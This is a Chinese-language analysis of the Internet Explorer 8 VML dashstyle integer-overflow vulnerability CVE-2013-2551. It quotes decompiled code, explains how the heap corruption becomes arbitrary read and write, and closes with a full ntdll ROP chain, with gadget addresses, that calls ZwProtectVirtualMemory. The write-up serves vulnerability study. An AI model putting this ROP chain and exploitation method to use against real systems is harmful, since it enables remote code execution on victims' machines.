CVE-2013-2551分析
0x00.环境
系统: WIN7
浏览器: IE 8.0.7600.16385
0x01.成因
设置dashstyle.array.length值时,会造成整数溢出,导致数组越界访问
VML介绍和CVE分析,这里有篇好文章
0x02.要点
1.dashstyle数组如何分配的?
初次用MsoFAllocMemCore分配0x10字节,后续用MsoFResizePx每次递增0x10重新分配,具体可以自己分析ParseDashStyle函数
2.POC上dashstyle数组赋值有含义吗?
只要不是全0就OK,全0则会FREE掉dashstyle数组,参见SetArrayProp函数
void __stdcall SetArrayProp(int a1, int a2, int a3)
{
int v3; // edi@1
int v4; // esi@2
int v5; // eax@5
int v6; // ST0C_4@5
int v7; // eax@5
int *v8; // eax@5
int v9; // eax@5
v3 = a1;
if ( a1 )
{
v4 = a3;
if ( a3 )
{
if ( a2 == 463
&& (v5 = *a3,
v6 = a3,
BYTE3(a1) = 0,
v7 = (*(v5 + 44))(),
v8 = (*(*v4 + 32))(v4, 0, v7),
v9 = GELEnumFromDashLengths(v8, v6, (&a1 + 3)),
SetPropA(v3, 462, v9),
BYTE3(a1)) //全0的话上面GELEnumFromDashLengths会置a1导致执行下面的Free
|| !SetPropA(v3, a2, v4) )
(*(*v4 + 4))(v4); // Free
}
else
{
SetPropA(a1, a2, a3);
}
}
}
3.如何实现利用?
_vgRuntimeStyle对象首次调用rotation方法时,会申请0xAC(实际占用0xB0)空间,而其对象0x58偏移处另一个属性marginLeft的值是可控的,从而实现任意地址读写,获得ntdll.dll基址
4.如何控制程序流程?
COAShape类方法_anchorRect会申请0x10字节,当回收内存时候,会调用其虚函数表第三个函数
5.ROP中为什么要切换两次栈?
第一次获得控制权需要在一次GADGET中实现栈切换,由于没有XCHG ECX,ESP这种GADGET,所以需要切换2次栈
6.ROP链
由于不能出现0x0000,所以利用AND DWORD PTR [EAX],0FFFFFFF实现特殊值的需要
0x77a57213 : # XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN
0x77ab1f9c : # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04
0x80000400 : # edi -> NumberOfBytesToProtect
0x90909090
0x77a3aea5 : # XCHG EAX,EDI # RETN edi -> eax
0x90909090
0x77a295d2 : # AND DWORD PTR [EAX],0FFFFFFF # POP EBP # RETN 0x08
0x90909090
0x77abe9c2 : # XCHG EAX,EBP # RETN eax -> ebp
0x90909090
0x90909090
0x77a19b9c : # PUSH EBP # ADD EAX,5E5F0008 # POP EBX # POP EBP # RETN 0x04 ebp -> ebx
0x90909090
0x77ab1f9c : # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04
0x90909090
0x80000040 : # -> esi
0x90909090
0x77a8dff4 : # XCHG EAX,ESI # RETN esi - > eax
0x90909090
0x77acad6e : # AND EAX,5DFFFFFF # RETN 0x04
0x77a19b60 : # XCHG EAX,EDX # ADD AL0 # RETN eax -> edx
0x90909090
0x77ab1f9c : # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04
0x90909090
0x90909090
0x77a3aea5 : # XCHG EAX,EDI # RETN edi -> eax
0x90909090
0x77a19c14 : # XCHG EAX,ECX # ADD AL0 # POP ESI # RETN eax -> ecx
0x90909090
0x77ab1f9c : # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04
0x77a55a60, # ZwProtectVirtualMemory -> esi esp!!!!!!!
0xffffffff : # -1 -> ebp
0x77a7a59a : # XCHG EDI,ESI # DEC ECX # RETN 0x04 esi <-> edi
0x90909090
0x77a8dff4 : # XCHG EAX,ESI # RETN esi -> eax
0x90909090
0x77a67a72 : # ADD EAX,20 # RETN
0x77a67a72 : # ADD EAX,20 # RETN
0x77a8dff4 : # XCHG EAX,ESI # RETN eax -> esi
0x77a9608b : # XOR EAX,EAX # INC EAX # RETN
0x77a1e083 : # PUSHAD # JP NTDLL!RTLCRC32TABLE+0X2B3 (77A1E08B) # INC ECX # RETN
0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
0xcc